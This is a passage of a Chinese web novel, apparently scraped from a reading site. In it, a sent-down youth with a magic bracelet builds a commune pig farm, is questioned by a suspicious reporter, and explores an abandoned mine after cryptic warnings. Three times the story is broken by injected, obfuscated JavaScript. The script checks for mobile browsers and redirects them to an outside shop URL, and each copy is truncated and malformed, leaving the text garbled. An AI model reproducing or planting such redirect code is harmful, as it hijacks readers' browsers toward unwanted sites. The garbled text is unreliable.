她起身穿好衣服,洗漱。井水刺骨,泼在脸上,瞬间清醒。她看着水盆里自己的倒影——眼睛下有淡淡的青黑,但眼神很亮,亮得有些锐利。 吃过早饭,她去了养猪场。 雪后的工地银装素裹,新砌的砖墙盖着一层薄雪,像撒了层糖霜。陈大牛带着人已经在干活了,瓦刀敲击砖面的声音清脆而有节奏。 “林同志来了!”王秀兰眼尖,先看见她,放下手里的活跑过来,“你没事吧?昨天听说你被县里带走了,大家都担心坏了。” “没事,问了几句话就回来了。”林晚照笑了笑,看向工地,“进度怎么样?” “好着呢!”陈大牛走过来,脸上带着笑,“昨天又砌了一尺高。照这个速度,再有个三四天就能封顶了。” 林晚照点点头,绕着墙走了一圈。墙砌得很扎实,灰缝均匀,墙角笔直。她伸手摸了摸砖面,冰冷的,但结实。 “陈叔,今天能不能抽出两个人?”她问。 “能啊,干啥用?” “后山那个废弃矿井,我想去看看。”林晚照说,“听说那儿以前出过煤,我想看看能不能搞点煤渣回来,掺在猪圈垫料里,能杀菌。” 这是她临时想的借口。真正的原因,是笔记本上那个“时空薄弱点”的标注。 陈大牛想了想:“行,让二狗和铁蛋跟你去。那俩小子机灵,腿脚也快。” “谢谢陈叔。” 二狗和铁蛋都是十八九岁的小伙子,听说能跟林晚照去后山,都很兴奋。两人拿了铁锹和麻绳,兴冲冲地走在前面。 后山离村子有三里地,路不好走,雪又厚,深一脚浅一脚的。林晚照走得很小心,眼睛却一直在观察四周。 山是秃山,没什么树,只有些枯草和灌木。冬天更是荒凉,满眼都是灰白。 废弃矿井在半山腰,洞口被几块大石头堵着,石头上长满了苔藓和枯藤。旁边立着个木牌子,字迹已经模糊不清,只能勉强认出“危险”、“勿入”几个字。 “就是这儿了。”二狗指着洞口,“听我爷说,这矿是五八年大炼钢铁时开的,干了两年就废了,说是煤质不好。后来塌过一次,砸死过人,就封了。” 林晚照走近洞口。石头堵得很严实,缝隙里塞着枯草和泥土。她伸手摸了摸石头,冰凉,粗糙。 手腕上的银镯忽然传来一阵轻微的震动。 很轻,像手机静音时的震动。但在这个年代,在这个地方,这种震动显得异常诡异。 她不动声色地收回手,对二狗和铁蛋说:“你们在附近看看,有没有散落的煤渣。我研究研究这洞口。” “行嘞!” 两人提着铁锹往旁边去了。林晚照等他们走远,再次靠近洞口。这次她把手轻轻按在石头上。 银镯震得更明显了。 不是错觉。这个矿井里,确实有什么东西在和她的镯子产生感应。 她闭上眼睛,尝试将意识探入空间。这一次,她没有进入黑土地,而是将全部注意力集中在裂缝上。 裂缝依然在那里,但今天的状态有些不同。那些嗡鸣声减弱了,取而代之的是一种……呼吸声。很轻,很缓,一起一伏,像是某个巨大的生命体在沉睡。 而在裂缝的边缘,她再次看见了那张脸。 这次更清晰了些。是个女人,三十多岁,短发,脸色苍白,眼睛很亮。她的嘴唇在动,像是在说什么,但没有声音。 林晚照集中精神,试图“听”清。 断断续续的词句飘进她的意识: “……矿井……通道……小心……他们在下面……” 下面?矿井下面? 她还想再听,但呼吸声突然加重,裂缝猛地扩张,一股强大的吸力再次传来! 她立刻切断意识链接,睁开眼睛。冷汗已经从额角滑下。 “林同志!林同志!”二狗的喊声从远处传来。 林晚照转过身,看见二狗和铁蛋提着半麻袋煤渣跑过来,满脸兴奋。 “找到煤渣了!还挺多的!”二狗把麻袋放下,“够用不?” “够了。”林晚照平复了一下呼吸,“辛苦你们了。咱们回去吧。” 回村的路上,她一直没说话。脑子里全是裂缝里那张脸,和那些断断续续的警告。 矿井是通道?谁在下面?是敌是友? 还有那个倒计时,723天,不,现在是722天了。 时间不等人。 回到养猪场,她把煤渣交给陈大牛,嘱咐他如何使用。然后找到陈铁柱。 “队长,下午我想去趟县里。” “又去?不是刚回来吗?” “有点事要办。”林晚照没细说,“顺便,我想见见张组长。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872186|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈铁柱愣了:“见他干啥?他昨天还想整你呢!” “有些话,得当面问清楚。”林晚照说,“你放心,我有分寸。” 陈铁柱盯着她看了几秒,最后叹了口气:“行吧。我让公社的拖拉机送你。” “谢谢队长。” 下午两点,拖拉机再次驶向县城。雪已经停了,但路更滑,车开得很慢。 林晚照坐在车斗里,怀里揣着那个笔记本。她一遍遍回忆笔记里的内容,试图找出更多线索。 “真正的037号”会在哪里?如果郑卫国是假的,那真的037号是什么身份?会不会也在红星公社?或者就在她身边? 还有那个“捕猎者”和“清扫者”。他们是一个人,还是一个组织?他们的目的是什么? 问题太多,答案太少。 拖拉机进城时,已经下午三点了。林晚照让司机在县革委会附近等她,自己一个人走了过去。 她没直接进去,而是在对面的国营饭店门口站了一会儿。饭店门口挂着棉门帘,里面传出说话声和碗筷碰撞声。玻璃窗上蒙着一层水汽,看不清里面。 她看见张组长从革委会大门出来。他一个人,没穿大衣,只穿着中山装,手里拎着个黑色的公文包。他左右看了看,然后朝着东边的巷子走去。 林晚照跟了上去。 巷子很窄,两边是居民区的院墙。雪被踩实了,很滑。她走得很小心,和张组长保持着二十米左右的距离。 张组长走得很快,似乎有什么急事。他拐了两个弯,最后在一扇小门前停下。门是木质的,漆已经斑驳。他敲了敲门,三长两短。 门开了条缝,他闪身进去。 林晚照等在巷口。等了大概十分钟,门又开了。出来的不只是张组长,还有一个人。 那人穿着军大衣,戴着棉帽,帽檐压得很低,看不清脸。但从身形看,是个男人,个子很高。 两人在门口说了几句话,声音很低,听不清。然后张组长从公文包里拿出个东西,递给那个男人。是个信封,厚厚的。 男人接过信封,揣进怀里,转身走了。他走的方向和林晚照藏身的地方相反。 张组长站在原地,点了支烟。他抽烟的姿势很特别,深吸一口,停顿很久才吐出来。烟雾在寒冷的空气里凝成一团,久久不散。 林晚照的心跳得很快。她不确定自己看到了什么,但直觉告诉她,这不是普通的公务往来。 张组长抽完烟,把烟头踩灭,也转身走了。这次他走的是来时的路。 林晚照等他走远,才从小巷里出来。她走到那扇小门前,门上没有门牌,没有标识,就是普普通通的一扇门。 她试着推了推,门锁着。 她退后几步,抬头看。这是栋两层小楼,砖结构,窗户很小,装着铁栏杆。看起来像是个仓库,或者办公室。 她记下位置,转身离开。 回程的拖拉机上,她一直在想那个穿军大衣的男人。他是谁?张组长给他的是什么?钱?文件?还是别的什么? 以及,张组长到底是不是“清扫者”? 这一切,像个巨大的谜团,而她手里只有几块碎片。 回到红星公社时,天已经黑了。养猪场那边还亮着灯,是马灯的光,昏黄昏黄的。陈大牛带着人还在干活,说要趁着晚上把北墙砌完。 林晚照走过去,看见墙又高了一截。砖块垒得整整齐齐,灰缝抹得平平整整。马灯的光照在墙上,投出温暖的橘黄色。 “林同志回来了?”陈大牛看见她,放下瓦刀,“县里的事办完了?” “办完了。”林晚照点点头,“陈叔,你们辛苦了。” “辛苦啥,这是咱自己的事。”陈大牛憨厚地笑笑,“林同志,有句话我不知道该不该说……” “您说。” 陈大牛搓了搓手,压低声音:“今天下午,公社来了个人,说是省城报社的记者,要来采访养猪场的事。王书记陪着来的,在工地转了一圈,问了不少问题。” 记者?林晚照的心提了起来:“问了什么?” “问这项目是谁提的,钱哪来的,以后打算咋发展。”陈大牛说,“还问了你的事,问你是啥样的人,在村里口碑咋样。” “您怎么说的?” “我能咋说,实话实说呗。”陈大牛挺直腰板,“我说林同志是个能人,有文化,肯吃苦,带着大家干实事。我说这养猪场要不是她,根本搞不起来。” 林晚照心里一暖:“谢谢陈叔。” “谢啥,本来就是实话。”陈大牛摆摆手,“不过晚照啊,那记者……我总觉得有点不对劲。” “哪里不对劲?” “说不上来。”陈大牛皱着眉,“就是感觉,他问得太细了,细得不像是来写报道的。而且他看人的眼神……怎么说呢,像在打量啥东西,冷冰冰的。” 林晚照的心沉了沉。 又一个来“观察”的人? “他叫什么名字?什么时候走的?” “叫李明,说是《省城日报》的。下午四点走的,说改天再来。”陈大牛说,“王书记对他挺客气的,走的时候还让文书送了包茶叶。” 李明。《省城日报》。 林晚照记住了这个名字。 她跟陈大牛又说了几句,然后回了知青点。晚饭是玉米粥和咸菜,她没什么胃口,只喝了半碗。 晚上,她再次进入空间。 裂缝还在,呼吸声还在,那张脸也还在。但今天,那张脸的眼睛睁开了。 那是一双很特别的眼睛,瞳孔深处有细碎的银光,像藏着星星。那双眼睛正看着她,眼神复杂——有关切,有警告,还有……悲哀? 林晚照鼓起勇气,用意识发出询问:“你是谁?” 没有回答。但裂缝的边缘,缓缓浮现出一行字: 我是037号。真正的037号。 字迹在黑暗中闪着微光,停留了三秒,然后消散。 林晚照愣在原地。 真正的037号,在裂缝里? 而在裂缝的另一端,那个自称037号的女人,正用那双藏着星光的眼睛,无声地说着什么。 口型很清晰,是三个字: 快逃走。 32.雪夜探井 腊月二十七,夜。 雪又下起来了,细密,绵软,无声无息地覆盖了整个红星公社。林晚照站在养猪场新砌的北墙下,仰头看着雪花在漆黑的夜空里旋转、飘落,像一场盛大而寂静的仪式。 墙已经封顶了。下午四点二十分,最后一块砖垒上去,陈大牛亲手抹平了最后一道灰缝。在场的十几个村民都停下了手里的活,静静地看着那面墙——笔直,坚实,在雪光里泛着青灰色的冷硬光泽。 那是希望的颜色。 “林同志,”陈大牛搓着冻红的手走过来,声音压得很低,“按你说的,墙里留了那个‘夹层’,用油毡纸隔开的。可这是干啥用的?” “以后您就知道了。”林晚照收回目光,转向陈大牛,“陈叔,这几天辛苦您了。明天给大家放一天假,好好过个小年。” 陈大牛憨厚地笑了:“辛苦啥,大家伙儿都乐意干。你是不知道,现在村里人说起养猪场,眼睛都是亮的。都说开春招工,肯定挤破头要来。” “那得严格筛选。”林晚照认真地说,“咱们要的是能吃苦、肯学习的人。” “我懂,我懂。”陈大牛连连点头,“对了,王书记下午又来了,说省城那个记者李明,明天还要来,要正式采访你。” 林晚照的心沉了沉。该来的总会来。 “知道了。”她说,“陈叔,您先回去吧,我想一个人待会儿。” 陈大牛看了她一眼,欲言又止,最后只是点点头,转身走了。脚步声在雪地上发出咯吱咯吱的声响,渐渐远去。 养猪场安静下来。只有雪花落地的沙沙声,还有远处村子里偶尔传来的狗吠声。 林晚照走到墙边,伸手摸了摸砖面。冰冷的触感从指尖传来,她却觉得踏实——这是看得见摸得着的东西,是她七个月来一点一点垒起来的根基。 手腕上的银镯微微发烫。倒计时已经跳到了721天。 时间不多了。 她转身,朝着后山的方向走去。雪很深,没过脚踝,每走一步都要费力地拔出来。夜色浓重,只有雪地的反光勉强照亮前路。 她要去矿井。 笔记本上说,通道三天后开启。今天已经是第二天了。她必须在通道开启前,搞清楚下面到底有什么,以及——如果真的037号被困在裂缝里,她该怎么帮她? 山路更难走。雪覆盖了所有的沟坎和石头,她深一脚浅一脚,几次差点摔倒。棉袄很快就被雪打湿了,沉甸甸地贴在身上,寒风一吹,冷得刺骨。 但她没停。 脑子里反复回放着裂缝里那张脸,那双藏着星光的眼睛,还有那个无声的“快逃”。 为什么要逃?往哪里逃?矿井通道是生路还是陷阱? 这些问题没有答案。她只能自己去寻找。 半个小时后,她站在了矿井洞口前。石头依然堵在那里,厚厚的积雪将洞口掩埋了大半,只露出几块青黑色的岩石边缘。 她走近,伸出手。 银镯的震动比昨天更强烈了。不是轻微的颤动,而是持续的、有规律的震动,像心跳,咚咚,咚咚,一下一下敲在她的腕骨上。 她闭上眼睛,集中精神。意识沉入空间,直接投向裂缝。 今晚的裂缝格外活跃。那些低频的嗡鸣声变得尖锐,像金属摩擦。呼吸声也更重了,一起一伏,带着某种焦灼的意味。 而那张脸——真正的037号——清晰得几乎触手可及。女人苍白的脸上有细密的汗珠,嘴唇干裂,眼神里充满了急切的警告。 “不能……下……”口型很慢,很用力。 林晚照用意识回应:“为什么?” “陷阱……他们在等……” “他们是谁?” 女人没有回答。她的影像开始闪烁,像信号不良的电视画面。裂缝深处传来巨大的吸力,比之前任何一次都强。林晚照感觉自己的意识像一片树叶,要被卷进黑暗的漩涡。 她拼命抵抗,将意识锚定在空间的黑土地上。黑土地上的作物发出温润的光,灵泉汩汩流淌,那些稳固的、生机勃勃的存在,给了她对抗的力量。 吸力持续了大概十秒钟,然后突然减弱。 裂缝边缘,缓缓浮现出新的字迹: 明日子时,通道开启。井下第三巷道,左转第七根支柱后有暗门。门后是观测站遗址。小心——遗址已失控。 字迹闪烁着血红色的光,停留了五秒,然后崩散成无数光点,消失在黑暗里。 女人的影像也消失了。裂缝恢复了那种深不见底的黑暗,只有嗡鸣声还在持续。 林晚照退出空间,睁开眼睛。冷汗已经浸透了内衣,在寒风中迅速变冷,贴在身上像一层冰壳。 她剧烈地喘息,呼出的白雾在雪夜里迅速消散。 明日子时。就是明天晚上十一点。 井下有暗门,门后有观测站遗址——而且“已失控”。失控是什么意思?有危险?还是有别的东西? 以及最重要的:她要不要下去? 雪下得更大了。雪花落在她的睫毛上,很快融化成细小的水珠,模糊了视线。她抬手擦了擦,手指冻得几乎失去知觉。 回去吧。她对自己说。先回去,好好想想。 转身,深一脚浅一脚地下山。来时的脚印已经被新雪覆盖了大半,她只能凭着记忆往回走。夜色更深了,远处红星公社的灯火像散落在黑色天鹅绒上的碎钻,微弱,但温暖。 那是她现在的家。有等着她的人,有未完成的事。 她不能死。至少不能现在死。 回到养猪场时,已经晚上九点多了。知青点的灯还亮着,从窗户透出昏黄的光。她站在院子外,拍了拍身上的雪,跺了跺脚,才推门进去。 王晓芬和李秀英都在灶台前,锅里煮着什么东西,热气腾腾的。 “晚照!你可回来了!”王晓芬看见她,连忙放下手里的勺子,“这么晚去哪儿了?我们担心死了!” “去后山转了转。”林晚照尽量让语气轻松些,“想看看有没有更多的煤渣。” “那也得白天去啊,这大晚上的,多危险!”李秀英也走过来,递给她一条干毛巾,“快擦擦,头发都湿了。” 林晚照接过毛巾,心里涌起一股暖意。这种被人惦记的感觉,真好。 “锅里煮的什么?”她问。 “红糖姜汤。”王晓芬盛了一碗递过来,“三婶下午送来的红糖,说你这几天辛苦了,让你补补。” 姜汤很烫,红糖的甜味混着姜的辛辣,顺着喉咙流下去,暖了半个身子。林晚照捧着碗,小口小口地喝着,热气熏得眼睛有点发酸。 “对了,”王晓芬忽然想起什么,“陈铁柱队长晚上来找过你,说让你明天上午去公社一趟,王书记有事。” “什么事?” “没说,但看他脸色挺严肃的。” 林晚照点点头。大概是为了记者李明的事。 喝完姜汤,她又简单洗漱了一下,然后上床。王晓芬和李秀英很快睡着了,呼吸声均匀绵长。刘翠翠那边也安静了。 林晚照躺在床上,睁着眼睛。 明日子时。下井,还是不下? 井下有观测站遗址——那是“灯塔计划”留下的吗?如果是,里面会不会有关于这个计划的更多信息?会不会有逃脱的方法? 但遗址“已失控”。这意味着危险。未知的危险。 她翻了个身,手摸到枕头下的笔记本。牛皮纸封面粗糙的质感,让她稍稍安心。 她悄悄起身,点亮煤油灯,翻开笔记本。她想找找有没有关于“观测站遗址”的记录。 翻到中间一页,她停住了。 这一页的画风和其他页完全不同。不是工整的记录,而是一张潦草的手绘地图,笔迹很急,有些地方甚至划破了纸面。 地图画的是井下结构。主巷道,支巷道,通风井,标注得很详细。在第三巷道的位置,画了个红叉,旁边写着:观测站入口(已封锁)。 再往下看,有一行小字: 遗址内留存有初代时空稳定器原型机。若能修复,可短暂屏蔽“清扫者”追踪。警告:原型机能量核心极不稳定,接触需谨慎。 时空稳定器?屏蔽追踪? 林晚照的心跳加快了。 如果这是真的,那井下不是陷阱,而是机会——一个让她摆脱“清扫者”监视的机会。 但“能量核心极不稳定”……这意味着危险。很大的危险。 她继续往后翻。下一页是更详细的说明: 初代时空稳定器(代号“锚点一号”)工作原理:通过扭曲局部时空曲率,制造感知盲区。有效范围:半径50米。持续时间:最多72小时。副作用:使用者将承受时空扭曲带来的生理负担,具体表现为方向感丧失、时间感知错乱、短期记忆衰退。 注:副作用为可逆,但恢复时间因人而异。 72小时。三天。 如果她能拿到这个稳定器,就有三天时间,可以摆脱监视,可以做很多事——比如,更自由地推进养猪场项目,比如,寻找更多关于“灯塔计划”的线索,比如,想办法救出裂缝里的037号。 代价是生理负担。方向感丧失,时间感知错乱,短期记忆衰退。 值得吗? 林晚照合上笔记本,陷入沉思。 窗外,雪还在下。夜更深了。 第二天一早,林晚照去了公社。 王书记的办公室很暖和,炉子里烧着煤,发出噼啪的响声。王书记正在看文件,看见她进来,放下手里的钢笔。 “来了?坐。” 林晚照在对面的椅子上坐下。办公桌上堆满了文件和报纸,最上面是一份《省城日报》,头版头条是“农业学大寨”的报道。 “省城日报的记者李明,你见过了吧?”王书记开门见山。 “见过了。” “他写了一篇报道,关于咱们公社养猪场的。”王书记从抽屉里拿出一份稿纸,“你看看。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872187|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >林晚照接过来。稿纸是报社专用的格子纸,字迹工整,用的是蓝色钢笔水。标题是《红星公社科学养猪的实践与启示》。 她快速浏览。文章写得四平八稳,先讲政策背景,再讲项目概况,最后是几点“启示”。看起来是一篇很正常的报道。 但问题在于,太正常了。正常得刻意。 “你觉得怎么样?”王书记问。 “写得很全面。”林晚照谨慎地回答。 王书记笑了,笑容里有些深意:“晚照,你跟我就别说场面话了。这个李明,不是普通记者。” 林晚照心里一紧:“书记您的意思是……” “他是省里派下来的。”王书记压低声音,“具体哪个部门我不清楚,但介绍信是省革委会办公厅开的。他来,名义上是采访,实际上……” 他没说完,但意思已经很明显。 “是为了调查我?”林晚照问。 “不全是。”王书记摇头,“更准确地说,是为了调查这个项目。省里有人对这个项目很感兴趣——但兴趣分两种,一种是支持,一种是想找问题。” “那李明是哪一种?” “不好说。”王书记点了支烟,“他问的问题都很专业,也很刁钻。昨天他私下找我,问了几个问题——关于你的背景,关于省农科院那笔资金的审批流程,甚至问了郑卫国主任的事。” 林晚照的后背开始冒冷汗。 “我跟他说,你是个好同志,项目是完全合规的。”王书记吐出一口烟,“但他显然不信。晚照,你得有个准备。” “准备什么?” “准备被更严格的审查。”王书记看着她,眼神很严肃,“如果李明真是带着任务来的,那他不会轻易罢休。一篇报道只是开始,后面可能还有调查组,甚至……” 他没说下去,但林晚照懂了。 甚至可能直接抓人。 “书记,那我现在该怎么做?” “两件事。”王书记竖起两根手指,“第一,把所有账目、单据、合同,再整理一遍,确保没有任何纰漏。第二,在李明面前,少说话,多做事。他问什么,你就答什么,但不要主动提供信息。” “我明白了。” “还有,”王书记顿了顿,“晚照,我知道你有些……特别的本事。但在这个节骨眼上,收敛点,别让人抓住把柄。” 这话说得很含蓄,但林晚照听懂了。王书记可能不知道具体是什么,但他显然察觉到了她的不寻常。 “谢谢书记提醒。”她诚恳地说。 从公社出来,已经是上午十点了。雪停了,太阳出来了,照在雪地上,反射出刺眼的白光。林晚照眯起眼睛,看着远处后山的方向。 明日子时。 她必须做决定了。 回到养猪场,陈大牛正带着人做收尾工作——清理建筑垃圾,平整地面,检查墙体。看见她回来,陈大牛走过来。 “林同志,王书记说啥了?” “没事,就是问问进度。”林晚照笑了笑,“陈叔,今天您帮我个忙。” “你说。” “我想准备些东西。”林晚照说,“手电筒,电池,绳子,还有……一把镐头。” 陈大牛愣了一下:“要这些干啥?” “后山那个矿井,我想再下去看看。”林晚照实话实说,“我觉得下面可能不止有煤渣,也许还有别的有用的东西。” “那可不行!”陈大牛急了,“那矿塌过,危险!而且这大冬天的,井下更冷,万一出事咋办?” “我会小心的。”林晚照坚持,“陈叔,您相信我,我有分寸。” 陈大牛盯着她看了很久,最后叹了口气:“行吧。但我得跟你一起去。” “不用,我一个人就行。” “那更不行!”陈大牛斩钉截铁,“要么我带人去,要么谁也别去。” 林晚照看着他坚定的眼神,知道拗不过。她想了想:“那这样,您帮我准备东西,但别告诉别人。明天晚上,我自己去。您放心,我就看看,不下深。” 陈大牛犹豫了很久,最后还是点了点头:“东西我明天给你准备好。但晚照,你得答应我,真要下去,一定得找人陪着。” “我答应。” 陈大牛这才松了口气,转身去忙了。 林晚照站在养猪场里,看着已经成型的猪舍。墙很高,很结实,能挡风,能遮雨。开春后,这里会住满猪崽,会产出猪肉,会让村里人的日子好过一点。 这是她在这个时代的根。 她不能让任何人毁了它。 无论是“守夜人”、“捕猎者”还是“清扫者”。 无论是郑卫国还是李明。 她都要守住。 太阳慢慢升高,雪开始融化。屋檐下的冰棱滴着水,一滴,一滴,砸在雪地上,砸出一个个小坑。 时间在流逝。 倒计时在跳动。 明日子时。 她必须做出选择。 33.井下的眼睛 李明的问话像一颗石子投入死水,在养猪场工地的嘈杂声中激起的不是涟漪,而是漩涡。十几双眼睛瞬间聚焦在林晚照身上——陈大牛手里的瓦刀悬在半空,王秀兰端着热水壶忘了倒,连远处拌灰的两个后生都停下了动作。 雪后的阳光很亮,照得每个人脸上的表情纤毫毕现:疑惑、惊讶、还有一丝不易察觉的警惕。 林晚照的右手腕像被烙铁烫过,银镯的热度透过棉袄袖子都能感觉到。但她脸上什么表情都没有,甚至微微歪了歪头,露出恰到好处的困惑:“李记者,您说什么?” 她的声音很平稳,带着点知青特有的、略带书卷气的口音。这种平静让李明眯起了眼睛——他推了推鼻梁上的黑框眼镜,镜片后的目光像手术刀,试图剖开眼前这个年轻女人的每一层伪装。 “我说,”李明向前走了一步,皮鞋踩在雪地上发出咯吱的脆响,“有人举报你非法持有违禁品。一个银镯子。”他顿了顿,补充道,“据说是老物件,上面有不该有的纹路。” “银镯?”林晚照抬起左手,很自然地捋了捋额前的碎发——这个动作让她的右手腕彻底隐在了袖子里,“李记者是不是搞错了?我们知青下乡,除了基本生活用品,哪会带什么贵重首饰。您看——” 她伸出双手。手掌粗糙,指节处有磨破后愈合的茧子,指甲缝里还残留着昨天砌墙时沾上的灰浆。这是一双劳动的手,实实在在的,属于这片土地的手。 “我就是有那个心,也没那个钱啊。”她笑了笑,笑容里带着点自嘲,又转向周围的村民,“大伙儿说是不是?” “就是!”陈大牛第一个反应过来,瓦刀重重往地上一戳,“晚照同志来咱们这儿七个多月,起得比鸡早,睡得比狗晚。冬天手上冻得全是口子,夏天晒脱几层皮。这样的同志,能藏啥违禁品?” “李记者,”王秀兰也开口了,语气有点冲,“您要调查啥我们管不着,但说话得有证据。晚照姐要是真有问题,公社王书记能让她负责这么大项目?” 人群开始骚动。低声的议论像风吹过麦田,窸窸窣窣的。 李明脸上的肌肉抽动了一下。他显然没料到林晚照在村里的威信这么高——这些村民几乎是不假思索地站在她那边。这不符合常理。在他的经验里,这种“外来者”和本地人之间,总该有些隔阂才对。 “我只是例行询问。”李明调整了语气,重新戴上那副职业化的笑容,“林同志别误会。既然大家这么说,那可能确实是举报有误。不过——” 他话锋一转:“我听说林同志前几天去过县革委会接受调查?不知是因为什么事?” 这个问题更毒。如果林晚照否认,那就是撒谎,在场有公社的人,消息迟早会传开。如果她承认,就等于坐实了自己“有问题”。 林晚照迎着他的目光,坦然道:“是去过。张组长找我了解项目资金的使用情况,我配合调查,这是应该的。调查结果李记者可以去县里问——张组长说,我们的账目清楚,程序合规。” 她把“合规”两个字咬得很重。 李明沉默了。他看着林晚照,这个不到二十岁的女知青站在雪地里,棉袄半旧,头发简单扎成马尾,脸上还有冻出来的红痕。但她的眼神很静,静得像深冬的湖面,底下却可能藏着漩涡。 他忽然想起临行前接到的那个电话。电话那头的声音经过处理,只说了一句话:“074号很会伪装,别被表象骗了。” “看来是我多虑了。”李明最终笑了笑,从口袋里掏出笔记本,“既然来了,林同志,不如带我再看看养猪场?我们日报想做个系列报道,宣传农村科学养殖的先进经验。” 这是个台阶。林晚照顺势接下:“李记者这边请。” 她带着李明在工地转了一圈,介绍猪舍的设计、通风系统、未来规划。她的讲解条理清晰,数据准确,连每堵墙的用砖量、每吨水泥的配比都说得出来。李明边听边记,偶尔问几个专业问题,林晚照都对答如流。 表面上,这是一次再正常不过的工作采访。 但只有林晚照知道,她后背的冷汗已经湿透了内衣。李明的问题太刁钻了——他问猪舍的通风设计灵感来源,问饲料配方的理论依据,甚至问到了灵泉水的使用效果(虽然他用的是“有没有使用中药添加剂”这种说法)。 这些问题,每个都踩在危险的边缘。 一个半小时后,李明合上笔记本:“谢谢林同志,今天的采访很有收获。稿子写好后,我会先送公社审核。” “辛苦李记者了。” 送走李明,养猪场的气氛依然凝重。陈大牛凑过来,压低声音:“晚照,这人不对劲。” “我知道。”林晚照看着李明远去的背影——他上了停在村口的那辆绿色吉普车,车是省城的牌照,“陈叔,帮我个忙。” “你说。” “告诉大家,今晚都别来养猪场。”林晚照的声音很轻,“就说……就说我要清点建材,需要安静。” 陈大牛盯着她看了几秒,重重地点头:“行。你自己小心。” 下午的时间过得格外慢。林晚照强迫自己像往常一样工作——检查墙体,清点剩余建材,和陈大牛讨论开春后的养殖计划。但她能感觉到,手腕上的银镯一直在微微震动,像警报,又像催促。 傍晚时分,陈铁柱来了。他没说话,只是把一个帆布包塞到她手里。包很沉,里面是手电筒、备用电池、一捆尼龙绳、一把短柄镐,还有一小包用油纸裹着的干粮。 “都检查过了,能用。”陈铁柱的声音压得很低,“晚照,你真要一个人下去?” “嗯。” “我跟你去。” “不行。”林晚照摇头,“队长,你得在上面。万一……万一我出不来,你得知道发生了什么。” 这话说得太直白,陈铁柱的脸色瞬间变了:“别胡说!” “我是说万一。”林晚照笑了笑,笑容很淡,“队长,谢谢你一直帮我。” 陈铁柱张了张嘴,想说什么,但最终只是用力拍了拍她的肩膀:“一定要上来。我在井口等你。” 夜里十点,雪又下了起来。 林晚照背着帆布包,深一脚浅一脚地往后山走。雪很厚,每一步都陷到小腿肚。她没有打手电筒,借着雪地的反光勉强辨认方向。棉袄外面套了件雨披,是陈铁柱硬塞给她的,说井下可能有渗水。 越靠近矿井,银镯的震动越强烈。到洞口时,震动已经变成了持续的低鸣,像某种共鸣。 堵洞口的石头还在。林晚照放下背包,拿起镐头。她没急着动手,先闭上眼睛,将意识沉入空间。 裂缝今晚异常活跃。黑暗深处不再是嗡鸣,而是某种类似心跳的搏动——咚,咚,咚,缓慢而有力。037号的影像没有出现,但裂缝边缘浮着一行新字迹: 通道已提前开启。能量波动异常,疑似有第三方介入。极度危险,建议放弃。 字迹是血红色的,闪烁了三下,然后碎裂消散。 林晚照睁开眼睛,盯着漆黑的矿井洞口。 放弃?现在还能放弃吗? 李明已经盯上她了。郑卫国不知是敌是友。倒计时一天天减少。如果井下真有能屏蔽追踪的“锚点一号”,那可能是她唯一的机会。 她咬了咬牙,举起镐头。 石头比想象中松动。镐尖插进缝隙,用力一撬,最外面的一块就滚落下来,露出黑黢黢的洞口。一股陈腐的、混杂着煤灰和铁锈味的气流涌出来,呛得她咳嗽了几声。 她打开手电筒。光柱刺破黑暗,照进洞里。洞口不大,勉强能容一人通过。里面是斜向下的巷道,地上散落着腐朽的枕木和生锈的铁轨。 她深吸一口气,弯腰钻了进去。 巷道很窄,两边是粗糙的岩壁,上面还能看到当年开凿时留下的凿痕。脚下湿滑,是融雪渗进来的水混合着煤灰形成的泥浆。空气污浊,带着一股说不出的腥味。 她走得很慢,手电筒的光在前方来回扫动。巷道一路向下,坡度很陡,走了大概五十米后,出现了一个岔路口。 左边巷道塌了一半,碎石堵住了去路。右边巷道相对完整,但更窄,岩壁上的水渍更多。 笔记本上说,第三巷道。 她继续往前走。巷道开始出现分支,像蜘蛛网一样延伸。有些巷道口挂着腐朽的木牌,上面的字迹已经模糊不清。她数着岔路口,在第三个岔口右转。 这条巷道更深处,空气更冷。岩壁上开始出现白色的霜花,手电筒照上去,反射出细碎的晶光。她呼出的气瞬间变成白雾,在手电光里翻腾。 又走了大概一百米,前方出现了支撑巷道的木柱。柱子已经腐朽发黑,上面长着暗绿色的苔藓。她数到第七根,停下。 柱子后的岩壁看起来和别处没什么不同。她伸手摸了摸,冰冷,粗糙。但当她把手按上去时,银镯突然发出一阵高频震动—— 岩壁上,悄无声息地滑开一道缝隙。 不是门,更像是一个“窗口”。边缘光滑,呈现规则的圆形,直径大约一米。窗口里面是更深邃的黑暗,连手电筒的光照进去都被吞噬了。 林晚照的心跳得很快。她蹲下身,用手电筒往里照。光线勉强勾勒出一个空间的轮廓——不大,像个小房间。地面上散落着一些东西,反着金属的光泽。 她犹豫了三秒钟。 然后,她取下背包,先把背包推了进去。背包落地发出闷响,在寂静中格外清晰。等了几秒,没有异常。她深吸一口气,双手撑住窗口边缘,小心翼翼地钻了进去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 